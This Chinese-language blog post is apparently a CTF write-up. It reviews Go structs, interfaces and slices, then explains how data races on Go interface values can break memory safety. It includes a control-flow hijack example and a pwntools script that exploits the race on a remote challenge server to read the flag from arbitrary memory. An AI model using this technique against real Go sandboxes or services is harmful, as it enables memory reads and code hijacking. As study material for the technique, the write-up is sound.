更详细的资料请移步文档:https://studygolang.com/pkgdoc

Struct

基本定义如下:

type struct_name struct {
    name type
}

Go 语言中没有类的概念,因此在 Go 中结构体有着更为重要的地位。结构体是复合类型(composite types),当需要定义一个类型,它由一系列属性组成,每个属性都有自己的类型和值的时候,就应该使用结构体,它把数据聚集在一起。

Interface

interface是一组method的集合,是duck-type programming的一种体现。接口做的事情就像是定义一个协议(规则),只要一台机器有洗衣服和甩干的功能,我就称它为洗衣机。不关心属性(数据),只关心行为(方法)。

接口(interface)也是一种类型。

一个对象只要全部实现了接口中的方法,那么就实现了这个接口。换句话说,接口就是一个需要实现的方法列表。

例子:

// Sayer 接口
type Sayer interface {
    say()
}

type dog struct {}

type cat struct {}

// dog实现了Sayer接口
func (d dog) say() {
    fmt.Println("汪汪汪")
}

// cat实现了Sayer接口
func (c cat) say() {
    fmt.Println("喵喵喵")
}

func main() {
    var x Sayer // 声明一个Sayer类型的变量x
    a := cat{}  // 实例化一个cat
    b := dog{}  // 实例化一个dog
    x = a       // 可以把cat实例直接赋值给x
    x.say()     // 喵喵喵
    x = b       // 可以把dog实例直接赋值给x
    x.say()     // 汪汪汪
}

可以看到,实现了接口方法的结构体变量可以赋值给接口变量,然后可以用该接口来调用被实现的方法。

值接收者和指针接收者实现接口的区别(这里不是很清楚,建议自己查):

当值接收者实现接口:

func (d dog) move() {
    fmt.Println("狗会动")
}
func main() {
    var x Mover
    var wangcai = dog{} // 旺财是dog类型
    x = wangcai         // x可以接收dog类型
    var fugui = &dog{}  // 富贵是*dog类型
    x = fugui           // x可以接收*dog类型
    x.move()
}

可以发现:使用值接收者实现接口之后,不管是dog结构体还是结构体指针*dog类型的变量都可以赋值给该接口变量。因为Go语言中有对指针类型变量求值的语法糖,dog指针fugui内部会自动求值*fugui

注意

当指针接收者实现接口:

func (d *dog) move() {
    fmt.Println("狗会动")
}
func main() {
    var x Mover
    var wangcai = dog{} // 旺财是dog类型
    x = wangcai         // x不可以接收dog类型
    var fugui = &dog{}  // 富贵是*dog类型
    x = fugui           // x可以接收*dog类型
}

此时实现Mover接口的是*dog类型,所以不能给x传入dog类型的wangcai,此时x只能存储*dog类型的值。

Slice

切片是数组的一个引用,因此切片是引用类型。但自身是结构体,值拷贝传递。

切片的底层数据结构:

type slice struct {  
    array unsafe.Pointer
    len   int
    cap   int
}

array是被引用的数组的指针,len是引用长度,cap是最大长度(也就是数组的长度)

Data race

比赛结束的时候查到这篇博客:http://wiki.m4p1e.com/article/getById/90

以及它的引用(讲得比较好,建议看这个):https://blog.stalkr.net/2015/04/golang-data-races-to-break-memory-safety.html

这两篇博客解释了data race的原理

interface既然可以接收不同的实现了接口方法的接口题变量,那么它一定是一种更为抽象的数据结构,我将其粗略描述为如下:

type Interface struct{
    type **uintptr
    data **uintptr
}

所以在给接口变量传值的过程中实际上发生了两次数据转移操作,一次转移到type,一次转移到data。而这个转移操作并不是原子的。意味着,如果在一个goroutine中频繁对接口变量交替传值,在另一个goroutine中调用该接口的方法,就可能出现下面的情况:

  • (正常)type和data正好都是A或B struct的type和data
  • (异常)type和data分别是A和B struct的type和data,如下:
{
    type --> B type
    data --> A date --> value f
}

而调用接口时是通过判断type来确定方法的具体实现,这就出现了调用B实现的方法来操作A中数据的错误情况。

看博客中的例子就明白了:

package main

import (
    "fmt"
    "os"
    "runtime"
    "strconv"
)

func address(i interface{}) int {
    addr, err := strconv.ParseUint(fmt.Sprintf("%p", i), 0, 0)
    if err != nil {
        panic(err)
    }
    return int(addr)
}

type itf interface {
    X()
}

type safe struct {
    f *int
}

func (s safe) X() {}

type unsafe struct {
    f func()
}

func (u unsafe) X() {
    if u.f != nil {
        u.f()
    }
}

func win() {
    fmt.Println("win", i, j)
    os.Exit(1)
}

var i, j int

func main() {
    if runtime.NumCPU() < 2 {
        fmt.Println("need >= 2 CPUs")
        os.Exit(1)
    }
    var confused, good, bad itf
    pp := address(win)
    good = &safe{f: &pp}
    bad = &unsafe{}
    confused = good
    go func() {
        for {
            confused = bad
            func() {
                if i >= 0 { 
                    return
                }
                fmt.Println(confused)
            }()
            confused = good
            i++
        }
    }()
    for {
        confused.X()
        j++
    }
}

这里暂且不管作者实现的address这个小trick

在main中启动了一个goroutine,其中不断交叉对confused传值,其中badunsafe类型,goodsafe类型。当条件竞争发生,confusedtype指向bad,而data还是good。当原来的routine调用confused中的X方法时就会把good中的*int值当作函数指针来调用。如果控制这个值为我们想要的函数的地址如win,就可以实现程序流劫持。

赛题

题目分析

回到题目本身:

package main

func main() {
        flag := []int64{0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
        for i, v := range flag {
                flag[i] = v + 1
        }
        hack()
}

func hack() {
    /*code*/
}

地址泄露过程:
- 本地构造好EXP框架后,打印出flag首元素地址
- 去掉main中的println语句,然后打印hack中栈变量的地址
- 计算两地址差值作为偏移
- 打印出远程环境中hack栈变量的地址
- 用之前的偏移计算出flag首元素的地址
- 注意:
-- go版本一定要和远程对上
-- 虽然main中的println不影响flag的地址,但是会影响hack中栈变量的地址
-- 实测发现如果不把EXP框架构造好直接打印hack栈变量的地址计算出的偏移是不对的,也许编译期间有一些我不知道的机制在里面。

不做过多演示

接下来问题的关键在于泄露一个已知地址上的值应如何实现。

而golang在不使用unsafe包时不允许把已知的整数值地址,转换为指针进行读写操作。于是需要用条件竞争,来绕过这个限制,从而泄露出我们自定义地址保存的的值。

EXP:

from pwn import *
import time

code_base = '''
func hack(){
    println("exp start...")
    a := "123"
    println(&a) 
    var confused, good, bad itf
    pp := 0xc82003ddc0 - 0x8200117d8 + 0x8*{{offset}} 
    good = &safe{f: pp}
    bad = &unsafe{}
    confused = good    
    go func() {
        for {
            confused = bad
            func() {
                if i >= 0 {
                    return
                }
                println(confused)
            }()
            confused = good
            i++
        }
    }()
    for {
        confused.X()
        j++
    }
    println("exp stop...")
}

var i, j int

type safe struct {
    f int
}

type unsafe struct {
    f *int
}

type itf interface {
    X()
}

func (s safe) X() {}

func (u unsafe) X() {
    if u.f != nil {
        println("AAAA")
        println(*u.f)
    }
}
#'''

flag = ""

for i in range(45):
    p = remote("123.56.96.75", 30775)
    #context.log_level = "debug"
    p.recvuntil(b"[*] Now give me your code: \n")
    print(str())
    code = code_base.replace('{{offset}}', str(i))
    p.sendline(code)
    p.recvuntil(b"AAAA\n")
    chr_int = int(p.recvuntil(b"\n", drop=True), 10)
    flag += chr(chr_int - 1)
    p.close()
    print(flag)

print("flag:", flag)

单独看其中code_base部分

func hack(){
    println("exp start...")
    a := "123"
    println(&a) //用于地址泄露
    var confused, good, bad itf
    pp := 0xc82003ddc0 - 0x8200117d8 + 0x8*{{offset}} //远程环境下flag每一个元素的地址
    good = &safe{f: pp}
    bad = &unsafe{}
    confused = good    
    go func() {
        for {
            confused = bad
            func() {
                if i >= 0 {
                    return
                }
                println(confused)
            }()
            confused = good
            i++
        }
    }()
    for {
        confused.X()
        j++
    }
    println("exp stop...")
}

var i, j int

type safe struct {
    f int
}

type unsafe struct {
    f *int
}

type itf interface {
    X()
}

func (s safe) X() {}

func (u unsafe) X() {
    if u.f != nil {
        println("AAAA")
        println(*u.f)
    }
}

其中safe结构中有int类型的f,而unsafe结构中有*int类型的f。并且unsafe实现了接口itfX方法,该方法输出f *int指针保存的值。在条件竞争时,如果confused中type为unsafe,而data为bad中的数据(创建bad的时候f被赋值为flag元素的地址),这时调用confusedX方法就会打印出flag元素地址中的值了。

最后python统一接收处理得出flag。